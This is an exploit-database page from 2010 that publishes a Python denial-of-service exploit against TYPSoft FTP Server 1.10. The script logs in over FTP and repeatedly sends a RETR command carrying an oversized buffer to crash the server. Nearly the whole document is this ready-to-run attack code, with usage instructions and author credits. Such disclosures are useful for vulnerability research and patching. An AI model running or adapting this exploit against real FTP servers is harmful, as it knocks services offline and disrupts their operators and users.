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TYPSoft FTP Server RETR Command DoS

Posted on 14 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>TYPSoft FTP Server RETR Command DoS</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================
TYPSoft FTP Server RETR Command DoS
===================================


# Exploit Title: TYPSoft FTP Server RETR Command DoS
# Date: 5/13/2010
# Author: Jeremiah Talamantes
# Software Link:
# Version: 1.10
# Tested on: Windows XP, SP2 (EN)
# CVE : N/A
 
#!/usr/bin/python
print &quot;
#################################################################&quot;
print &quot;##                      RedTeam Security                       ##&quot;
print &quot;##             TYPSoft FTP Server RETR Command DoS             ##&quot;
print &quot;##                        Version 1.10                         ##&quot;
print &quot;##                                                             ##&quot;
print &quot;##                     Jeremiah Talamantes                     ##&quot;
print &quot;##                   labs@redteamsecure.com                    ##&quot;
print &quot;################################################################# 
&quot;
 
import socket
import sys
 
# Description:
# RETR command overflow with no PORT specified
 
# Define the exploit's usage
def Usage():
    print (&quot;Usage: scriptname.py &lt;IP&gt; &lt;username&gt; &lt;password&gt;
&quot;)
    print (&quot;

Credit: Jeremiah Talamantes&quot;)
    print (&quot;RedTeam Security : www.redteamsecure.com/labs
&quot;)
 
# Buffer
buffer=&quot;AAAA&quot; * 496
 
def exploit(hostname,username,password):
    i=0
    while i &lt; 10:
        i=i+1
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect((hostname, 21))
        except:
            print (&quot;Error: unable to connect to host&quot;)
            sys.exit(1)
        r=sock.recv(1024)
        print &quot;[+] &quot; + r + &quot;: iteration number:  &quot;,i
        sock.send(&quot;USER &quot; + username + &quot;
&quot;)
        r=sock.recv(1024)
        sock.send(&quot;PASS &quot; + password + &quot;
&quot;)
        r=sock.recv(1024)
        sock.send(&quot;RETR &quot; + buffer + &quot;
&quot;)
        sock.close()
         
if len(sys.argv) &lt;&gt; 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)
 
# End


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-14]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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